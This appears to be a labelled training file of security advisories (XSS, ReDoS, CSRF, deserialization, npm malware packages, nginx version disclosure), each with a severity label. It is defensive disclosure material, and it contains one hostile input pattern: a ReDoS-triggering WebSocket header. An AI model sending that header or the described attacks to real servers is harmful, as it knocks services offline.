-{"id": "a2479f478a47647c3ade", "text": "fis-sass-all downloads Resources over HTTP\n\nAffected versions of `fis-sass-all` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `fis-sass-all`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "fis-sass-all downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `fis-sass-all` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `fis-sass-all`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-17", "split": "train"}
-{"id": "257de05d3c50e7ecb227", "text": "Downloads Resources over HTTP in sfml\n\nAffected versions of `sfml` insecurely download resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in sfml\n\n[Severity: HIGH]\n\nAffected versions of `sfml` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "0fd94423cebab651b2b9", "text": "An issue was discovered in b3log Symphony (aka Sym) before v3.4.7. XSS exists via the userIntro and userNickname fields to processor/SettingsProcessor.java.", "text_raw": "Moderate severity vulnerability that affects org.b3log:symphony\n\n[Severity: MEDIUM]\n\nAn issue was discovered in b3log Symphony (aka Sym) before v3.4.7. XSS exists via the userIntro and userNickname fields to processor/SettingsProcessor.java.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-06", "split": "train"}
-{"id": "501a771580d15c51e5f4", "text": "Regular Expression Denial of Service in parsejson\n\nAffected versions of `parsejson` are vulnerable to a regular expression denial of service when parsing untrusted user input.\n\n## Recommendation\n\nThe `parsejson` package has not been functionally updated since it was initially released.\n\nAdditionally, it provides functionality which is natively included in Node.js, and therefore the native `JSON.parse()` should be used, for both performance and security reasons.", "text_raw": "Regular Expression Denial of Service in parsejson\n\n[Severity: HIGH]\n\nAffected versions of `parsejson` are vulnerable to a regular expression denial of service when parsing untrusted user input.\n\n\n## Recommendation\n\nThe `parsejson` package has not been functionally updated since it was initially released.\n\nAdditionally, it provides functionality which is natively included in Node.js, and therefore the native `JSON.parse()` should be used, for both performance and security reasons.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "70695aebf2941bfaf3d7", "text": "Crouzet em4 soft 1.1.04 and M3 soft 3.1.2.0 Insecure File Permissions", "text_raw": "Crouzet em4 soft 1.1.04 and M3 soft 3.1.2.0 Insecure File Permissions\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-02-29", "split": "train"}
-{"id": "c0a69fa88f98afaa0a07", "text": "[Uncontrolled Resource Consumption] Nginx version is disclosed in HTTP response\n\n## Summary:\nI found a version disclosure (Nginx) in your web server's HTTP response.\n\n***Extracted Version:*** 1.16.1\n\nThis information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Nginx.\n\n## Steps To Reproduce:\n\n***Checkout the URL:** https://localizestaging.com/\n\nCheckout the header response:\n\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=utf-8\nConnection: close\nDate: Sun, 26 Jan 2020 21:37:55 GMT\nServer: nginx/1.16.1\nVary: Accept-Encoding\nX-DNS-Prefetch-Control: off\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nContent-Security-Policy: object-src 'none'; base-uri https://localizestaging.com; frame-ancestors https://localize.live\nETag: W/\"883d-dUYoyQDdg3V8h1QICXD3rs4\"\nX-Cache: Miss from cloudfront\nVia: 1.1 5157dedfe33ef5a309f236599901abe3.cloudfront.net (CloudFront)\nX-Amz-Cf-Pop: SIN52-C3\nX-Amz-Cf-Id: \nContent-Length: 34877\n\nPoC : F696981: Server Disclosure .jpg\n\n## Supporting Material/References:\n***Number of vulnerabilities:*** 3\n***CVE IDs:*** \t\n1. CVE-2019-9511\n2. CVE-2019-9513\n3. CVE-2019-9516\n\n##1) Resource exhaustion\n\nCVE-ID: CVE-2019-9511\nCWE-ID: CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')\n***Description***\nThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.\nThe vulnerability exists due to improper input validation when processing HTTP/2 requests. A remote attacker can send a specially crafted HTTP/2 request the affected server, consume all available CPU resources and perform a denial of service (DoS) attack.\nSuccessful exploitation of the vulnerability requires that support for HTTP/2 is enabled.\n***Mitigation***\nInstall updates from vendor's website.\n\n##2) Resource exhaustion\n\nCVE-ID: CVE-2019-9513\nCWE-ID: CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')\n***Description***\nThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.\n\nThe vulnerability exists due to improper input validation when processing HTTP/2 requests. A remote attacker can send a specially crafted HTTP/2 request the affected server, consume all available CPU resources and perform a denial of service (DoS) attack.\nSuccessful exploitation of the vulnerability requires that support for HTTP/2 is enabled.\n***Mitigation***\nInstall updates from vendor's website.\n\n##3) Resource exhaustion\n\nCVE-ID: CVE-2019-9516\n\nCWE-ID: CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')\n***Description***\nThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.\n\nThe vulnerability exists due to improper input validation when processing HTTP/2 requests within the ngx_http_v2_module module. A remote attacker can send a specially crafted HTTP/2 request the affected server, consume all available CPU resources and perform a denial of service (DoS) attack.\nSuccessful exploitation of the vulnerability requires that support for HTTP/2 is enabled.\n***Mitigation***\nInstall updates from vendor's website.\n\n***More details:*** https://www.cybersecurity-help.cz/vdb/SB2019081323\n\n## Impact\n\nAn attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.\n\nAdd the following line to your nginx.conf file to prevent information leakage from the SERVER header of its HTTP response:\n\n```server_tokens off```", "text_raw": "[Uncontrolled Resource Consumption] Nginx version is disclosed in HTTP response\n\n## Summary:\nI found a version disclosure (Nginx) in your web server's HTTP response.\n\n***Extracted Version:*** 1.16.1\n\nThis information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Nginx.\n\n## Steps To Reproduce:\n\n***Checkout the URL:** https://localizestaging.com/\n\nCheckout the header response:\n\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=utf-8\nConnection: close\nDate: Sun, 26 Jan 2020 21:37:55 GMT\nServer: nginx/1.16.1\nVary: Accept-Encoding\nX-DNS-Prefetch-Control: off\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nContent-Security-Policy: object-src 'none'; base-uri https://localizestaging.com; frame-ancestors https://localize.live\nETag: W/\"883d-dUYoyQDdg3V8h1QICXD3rs4\"\nX-Cache: Miss from cloudfront\nVia: 1.1 5157dedfe33ef5a309f236599901abe3.cloudfront.net (CloudFront)\nX-Amz-Cf-Pop: SIN52-C3\nX-Amz-Cf-Id: \nContent-Length: 34877\n\nPoC : F696981: Server Disclosure .jpg \n\n## Supporting Material/References:\n***Number of vulnerabilities:*** 3\n***CVE IDs:*** \t\n1. CVE-2019-9511\n2. CVE-2019-9513\n3. CVE-2019-9516\n\n##1) Resource exhaustion\nSeverity: Medium\nCVE-ID: CVE-2019-9511\nCWE-ID: CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')\n***Description***\nThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.\nThe vulnerability exists due to improper input validation when processing HTTP/2 requests. A remote attacker can send a specially crafted HTTP/2 request the affected server, consume all available CPU resources and perform a denial of service (DoS) attack.\nSuccessful exploitation of the vulnerability requires that support for HTTP/2 is enabled.\n***Mitigation***\nInstall updates from vendor's website.\n\n##2) Resource exhaustion\nSeverity: Medium\nCVE-ID: CVE-2019-9513\nCWE-ID: CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')\n***Description***\nThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.\n\nThe vulnerability exists due to improper input validation when processing HTTP/2 requests. A remote attacker can send a specially crafted HTTP/2 request the affected server, consume all available CPU resources and perform a denial of service (DoS) attack.\nSuccessful exploitation of the vulnerability requires that support for HTTP/2 is enabled.\n***Mitigation***\nInstall updates from vendor's website.\n\n##3) Resource exhaustion\nSeverity: Medium\nCVE-ID: CVE-2019-9516\n\nCWE-ID: CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')\n***Description***\nThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.\n\nThe vulnerability exists due to improper input validation when processing HTTP/2 requests within the ngx_http_v2_module module. A remote attacker can send a specially crafted HTTP/2 request the affected server, consume all available CPU resources and perform a denial of service (DoS) attack.\nSuccessful exploitation of the vulnerability requires that support for HTTP/2 is enabled.\n***Mitigation***\nInstall updates from vendor's website.\n\n***More details:*** https://www.cybersecurity-help.cz/vdb/SB2019081323\n\n## Impact\n\nAn attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.\n\nAdd the following line to your nginx.conf file to prevent information leakage from the SERVER header of its HTTP response:\n\n```server_tokens off```", "severity": "medium", "severity_label": 1, "source": "hackerone", "timestamp": "2020-02-06", "split": "train"}
-{"id": "ad8c7a2c2b7bbff9f5c6", "text": "Persistent XSS in shopping worlds\n\n### Impact\nPersistent XSS in shopping worlds\n\n### Patches\n\nWe recommend updating to the current version 5.6.9. You can get the update to 5.6.9 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-11-2020", "text_raw": "Persistent XSS in shopping worlds\n\n[Severity: LOW]\n\n### Impact\nPersistent XSS in shopping worlds\n\n### Patches\n\nWe recommend updating to the current version 5.6.9. You can get the update to 5.6.9 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-11-2020", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-13", "split": "train"}
-{"id": "165254a877e98c48ee43", "text": "Cross-Site Request Forgery (CSRF) in Luigi\n\nLuigi version prior to version 2.8.0; after commit 53b52e12745075a8acc016d33945d9d6a7a6aaeb; after GitHub PR spotify/luigi/pull/1870 contains a Cross ite Request Forgery (CSRF) vulnerability in API endpoint: /api/<method> that can result in Task metadata such as task name, id, parameter, etc. will be leaked to unauthorized users. This attack appear to be exploitable via The victim must visit a specially crafted webpage from the network where their Luigi server is accessible.. This vulnerability appears to have been fixed in 2.8.0 and later.", "text_raw": "Cross-Site Request Forgery (CSRF) in Luigi\n\n[Severity: HIGH]\n\nLuigi version prior to version 2.8.0; after commit 53b52e12745075a8acc016d33945d9d6a7a6aaeb; after GitHub PR spotify/luigi/pull/1870 contains a Cross ite Request Forgery (CSRF) vulnerability in API endpoint: /api/<method> that can result in Task metadata such as task name, id, parameter, etc. will be leaked to unauthorized users. This attack appear to be exploitable via The victim must visit a specially crafted webpage from the network where their Luigi server is accessible.. This vulnerability appears to have been fixed in 2.8.0 and later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "c5ac1b25066fa334a4d4", "text": "Code injection in nobelprizeparser\n\nCode injection through use of eval.", "text_raw": "Code injection in nobelprizeparser\n\n[Severity: CRITICAL]\n\nCode injection through use of eval.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "a57ad7ee05f28b22c047", "text": "Code execution via deserialization in org.apache.ignite:ignite-core\n\nApache Ignite 2.5 and earlier serialization mechanism does not have a list of classes allowed for serialization/deserialization, which makes it possible to run arbitrary code when 3-rd party vulnerable classes are present in Ignite classpath. The vulnerability can be exploited if the one sends a specially prepared form of a serialized object to GridClientJdkMarshaller deserialization endpoint.", "text_raw": "Code execution via deserialization in org.apache.ignite:ignite-core\n\n[Severity: CRITICAL]\n\nApache Ignite 2.5 and earlier serialization mechanism does not have a list of classes allowed for serialization/deserialization, which makes it possible to run arbitrary code when 3-rd party vulnerable classes are present in Ignite classpath. The vulnerability can be exploited if the one sends a specially prepared form of a serialized object to GridClientJdkMarshaller deserialization endpoint.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "8d4e77a86f32ef3c6d21", "text": "Directory Traversal in send\n\nVersions 0.8.3 and earlier of `send` are affected by a directory traversal vulnerability. When relying on the root option to restrict file access it may be possible for an application consumer to escape out of the restricted directory and access files in a similarly named directory.\n\nFor example, `static(_dirname + '/public')` would allow access to `_dirname + '/public-restricted'`.\n\n## Recommendation\n\nUpdate to version 0.8.4 or later.", "text_raw": "Directory Traversal in send\n\n[Severity: LOW]\n\nVersions 0.8.3 and earlier of `send` are affected by a directory traversal vulnerability. When relying on the root option to restrict file access it may be possible for an application consumer to escape out of the restricted directory and access files in a similarly named directory. \n\nFor example, `static(_dirname + '/public')` would allow access to `_dirname + '/public-restricted'`.\n\n\n## Recommendation\n\nUpdate to version 0.8.4 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "8c5180c383f15071c899", "text": "Cross-site Scripting in django-js-reverse\n\ndjango-js-reverse (aka Django JS Reverse) before 0.9.1 has XSS via js_reverse_inline.", "text_raw": "Cross-site Scripting in django-js-reverse\n\n[Severity: MEDIUM]\n\ndjango-js-reverse (aka Django JS Reverse) before 0.9.1 has XSS via js_reverse_inline.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "437c368a26c42c04ab1e", "text": "Regular Expression Denial of Service in hawk\n\nVersions of `hawk` prior to 3.1.3, or 4.x prior to 4.1.1 are affected by a regular expression denial of service vulnerability related to excessively long headers and URI's.\n\n## Recommendation\n\nUpdate to hawk version 4.1.1 or later.", "text_raw": "Regular Expression Denial of Service in hawk\n\n[Severity: HIGH]\n\nVersions of `hawk` prior to 3.1.3, or 4.x prior to 4.1.1 are affected by a regular expression denial of service vulnerability related to excessively long headers and URI's.\n\n\n\n## Recommendation\n\nUpdate to hawk version 4.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "835deb680eb92d6b24aa", "text": "nodefabric is malware\n\nThe `nodefabric` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "nodefabric is malware\n\n[Severity: HIGH]\n\nThe `nodefabric` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "097ada41cd97c419b9d4", "text": "Google SketchUp Pro 7.0 (.skp file) Remote Stack Overflow PoC", "text_raw": "Google SketchUp Pro 7.0 (.skp file) Remote Stack Overflow PoC\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-08-01", "split": "train"}
-{"id": "de9856714643b7e73d88", "text": "Timing attack\n\nWhile each ID is used for only one authentication attempt, a timing attack is possible to figure out in Autobahn.", "text_raw": "Timing attack\n\n[Severity: LOW]\n\nWhile each ID is used for only one authentication attempt, a timing attack is possible to figure out in Autobahn.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-02-24", "split": "train"}
-{"id": "5c2ad35c338dcac6d0c3", "text": "XSS in dojox due to insufficient escape in dojox.xmpp.util.xmlEncode\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nPotential XSS vulnerability for users of `dojox/xmpp` and `dojox/dtl`.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, patches are available for the 1.11 through 1.16 versions. Users should upgrade to one of these versions of Dojo:\n\n* 1.16.1\n* 1.15.2\n* 1.14.5\n* 1.13.6\n* 1.12.7\n* 1.11.9\n\nUsers of Dojo 1.10.x and earlier should review this change and determine if it impacts them, and backport the change as appropriate.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThe change applied in https://github.com/dojo/dojox/pull/315 could get added separately as a patch.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [dojo/dojox](https://github.com/dojo/dojox/)", "text_raw": "XSS in dojox due to insufficient escape in dojox.xmpp.util.xmlEncode \n\n[Severity: MEDIUM]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nPotential XSS vulnerability for users of `dojox/xmpp` and `dojox/dtl`.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, patches are available for the 1.11 through 1.16 versions. Users should upgrade to one of these versions of Dojo:\n\n* 1.16.1\n* 1.15.2\n* 1.14.5\n* 1.13.6\n* 1.12.7\n* 1.11.9\n\nUsers of Dojo 1.10.x and earlier should review this change and determine if it impacts them, and backport the change as appropriate.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThe change applied in https://github.com/dojo/dojox/pull/315 could get added separately as a patch.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [dojo/dojox](https://github.com/dojo/dojox/)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-13", "split": "train"}
-{"id": "24238dae35d2a48fceca", "text": "Regular Expression Denial of Service in websocket-extensions (RubyGem)\n\n### Impact\n\nThe ReDoS flaw allows an attacker to exhaust the server's capacity to process incoming requests by sending a WebSocket handshake request containing a header of the following form:\n\nSec-WebSocket-Extensions: a; b=\"\\c\\c\\c\\c\\c\\c\\c\\c\\c\\c ...\n\nThat is, a header containing an unclosed string parameter value whose content is a repeating two-byte sequence of a backslash and some other character. The parser takes exponential time to reject this header as invalid, and this will block the processing of any other work on the same thread. Thus if you are running a single-threaded server, such a request can render your service completely unavailable.\n\n### Patches\n\nUsers should upgrade to version 0.1.5.\n\n### Workarounds\n\nThere are no known work-arounds other than disabling any public-facing WebSocket functionality you are operating.\n\n### References\n\n- https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions/", "text_raw": "Regular Expression Denial of Service in websocket-extensions (RubyGem)\n\n[Severity: HIGH]\n\n### Impact\n\nThe ReDoS flaw allows an attacker to exhaust the server's capacity to process incoming requests by sending a WebSocket handshake request containing a header of the following form:\n\n    Sec-WebSocket-Extensions: a; b=\"\\c\\c\\c\\c\\c\\c\\c\\c\\c\\c ...\n\nThat is, a header containing an unclosed string parameter value whose content is a repeating two-byte sequence of a backslash and some other character. The parser takes exponential time to reject this header as invalid, and this will block the processing of any other work on the same thread. Thus if you are running a single-threaded server, such a request can render your service completely unavailable.\n\n### Patches\n\nUsers should upgrade to version 0.1.5.\n\n### Workarounds\n\nThere are no known work-arounds other than disabling any public-facing WebSocket functionality you are operating.\n\n### References\n\n- https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions/", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "d348357457ab007b7979", "text": "Malicious Package in bufder-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bufder-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "28561dc338ac6cecef5a", "text": "Introspection in schema validation in Apollo Server\n\nWe encourage all users of Apollo Server to read this advisory in its entirety to understand the impact.  The _Resolution_ section contains details on patched versions.\n\n### Impact\n\nIf `subscriptions: false` is passed to the `ApolloServer` constructor options, there is no impact.  If implementors were not expecting validation rules to be enforced on the WebSocket subscriptions transport **and** are unconcerned about introspection being enabled on the WebSocket subscriptions transport (or were not expecting that), then this advisory is not applicable.  If `introspection: true` is passed to the `ApolloServer` constructor options, the impact is limited to user-provided validation rules (i.e., using `validationRules`) since there would be no expectation that introspection was disabled.\n\nThe enforcement of user-provided validation rules on the HTTP transport is working as intended and is unaffected by this advisory.  Similarly, disabling introspection on the HTTP transport is working as intended and is unaffected by this advisory.\n\n> **Note:** Unless `subscriptions: false` is explicitly passed to the constructor parameters of `new ApolloServer({ ... })`, **subscriptions are enabled by default, whether or not there is a `Subscription` type present in the schema.**  As an alternative to upgrading to a patched version, see the _Workarounds_ section below to disable subscriptions if it is not necessary.\n\nIn cases where `subscriptions: false` is **not** explicitly set, the subscription server **is impacted** since validation rules which are enforced on the main request pipeline within Apollo Server were not being passed to the `SubscriptionServer.create` invocation ([seen here, prior to the patch](https://github.com/apollographql/apollo-server/blob/7d6f23443e52a90deb74f152f34bb76eea78ee19/packages/apollo-server-core/src/ApolloServer.ts#L677-L726)).\n\nThe omitted validation rules for the subscription server include any `validationRules` passed by implementors to the `ApolloServer` constructor which were expected to be enforced on the subscriptions WebSocket endpoint.  **Additionally**, because an internal [`NoIntrospection`](https://github.com/apollographql/apollo-server/blob/7d6f23443/packages/apollo-server-core/src/ApolloServer.ts#L77-L88) validation rule is used to disable introspection, it would have been possible to introspect a server on the WebSocket endpoint that the `SubscriptionServer` creates even though it was not possible on other transports (e.g. HTTP).\n\n**The severity of risk depends on whether sensitive information is being stored in the schema itself.**  The contents of schema descriptions, or secrets which might be revealed by the names of types or field names within those types, will determine the risk to individual implementors.\n\n### Affected packages\n\nThe bug existed in `apollo-server-core` versions prior to version 2.14.2, however, this means all integration packages (e.g., `apollo-server-express`, etc.) prior to version 2.14.2 which depend on `apollo-server-core` for their subscriptions support are affected.  This includes the `apollo-server` package that automatically provides an Express server.\n\nTherefore, for officially published Apollo Server packages, the full list of affected packages includes: `apollo-server`, `apollo-server-azure-functions`, `apollo-server-cache-memcached`, `apollo-server-core`, `apollo-server-cloud-functions`, `apollo-server-cloudflare`, `apollo-server-express`, `apollo-server-fastify`, `apollo-server-hapi`, `apollo-server-koa`, `apollo-server-lambda`, and `apollo-server-micro`.\n\n> Note: The full list included here doesn't fit into the box provided by the GitHub Security Advisories form.\n\n### Resolution\n\nThe problem is resolved in Apollo Server versions 2.14.2 or higher.  If upgrading is not an option, see _Workarounds_ below.  When upgrading, ensure that the affected integration package (e.g., `apollo-server-express`) **and** the `apollo-server-core` package are both updated to the patched versions.  (The version numbers should both", "text_raw": "Introspection in schema validation in Apollo Server\n\n[Severity: MEDIUM]\n\nWe encourage all users of Apollo Server to read this advisory in its entirety to understand the impact.  The _Resolution_ section contains details on patched versions.\n\n### Impact\n\nIf `subscriptions: false` is passed to the `ApolloServer` constructor options, there is no impact.  If implementors were not expecting validation rules to be enforced on the WebSocket subscriptions transport **and** are unconcerned about introspection being enabled on the WebSocket subscriptions transport (or were not expecting that), then this advisory is not applicable.  If `introspection: true` is passed to the `ApolloServer` constructor options, the impact is limited to user-provided validation rules (i.e., using `validationRules`) since there would be no expectation that introspection was disabled.\n\nThe enforcement of user-provided validation rules on the HTTP transport is working as intended and is unaffected by this advisory.  Similarly, disabling introspection on the HTTP transport is working as intended and is unaffected by this advisory.\n\n> **Note:** Unless `subscriptions: false` is explicitly passed to the constructor parameters of `new ApolloServer({ ... })`, **subscriptions are enabled by default, whether or not there is a `Subscription` type present in the schema.**  As an alternative to upgrading to a patched version, see the _Workarounds_ section below to disable subscriptions if it is not necessary.\n\nIn cases where `subscriptions: false` is **not** explicitly set, the subscription server **is impacted** since validation rules which are enforced on the main request pipeline within Apollo Server were not being passed to the `SubscriptionServer.create` invocation ([seen here, prior to the patch](https://github.com/apollographql/apollo-server/blob/7d6f23443e52a90deb74f152f34bb76eea78ee19/packages/apollo-server-core/src/ApolloServer.ts#L677-L726)). \n\nThe omitted validation rules for the subscription server include any `validationRules` passed by implementors to the `ApolloServer` constructor which were expected to be enforced on the subscriptions WebSocket endpoint.  **Additionally**, because an internal [`NoIntrospection`](https://github.com/apollographql/apollo-server/blob/7d6f23443/packages/apollo-server-core/src/ApolloServer.ts#L77-L88) validation rule is used to disable introspection, it would have been possible to introspect a server on the WebSocket endpoint that the `SubscriptionServer` creates even though it was not possible on other transports (e.g. HTTP).\n\n**The severity of risk depends on whether sensitive information is being stored in the schema itself.**  The contents of schema descriptions, or secrets which might be revealed by the names of types or field names within those types, will determine the risk to individual implementors.\n\n### Affected packages\n\nThe bug existed in `apollo-server-core` versions prior to version 2.14.2, however, this means all integration packages (e.g., `apollo-server-express`, etc.) prior to version 2.14.2 which depend on `apollo-server-core` for their subscriptions support are affected.  This includes the `apollo-server` package that automatically provides an Express server.\n\nTherefore, for officially published Apollo Server packages, the full list of affected packages includes: `apollo-server`, `apollo-server-azure-functions`, `apollo-server-cache-memcached`, `apollo-server-core`, `apollo-server-cloud-functions`, `apollo-server-cloudflare`, `apollo-server-express`, `apollo-server-fastify`, `apollo-server-hapi`, `apollo-server-koa`, `apollo-server-lambda`, and `apollo-server-micro`.\n\n> Note: The full list included here doesn't fit into the box provided by the GitHub Security Advisories form.\n\n### Resolution\n\nThe problem is resolved in Apollo Server versions 2.14.2 or higher.  If upgrading is not an option, see _Workarounds_ below.  When upgrading, ensure that the affected integration package (e.g., `apollo-server-express`) **and** the `apollo-server-core` package are both updated to the patched versions.  (The versio", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "e64f2940c9d9d6ebf996", "text": "nodecaffe is malware\n\nThe `nodecaffe` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "nodecaffe is malware\n\n[Severity: HIGH]\n\nThe `nodecaffe` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
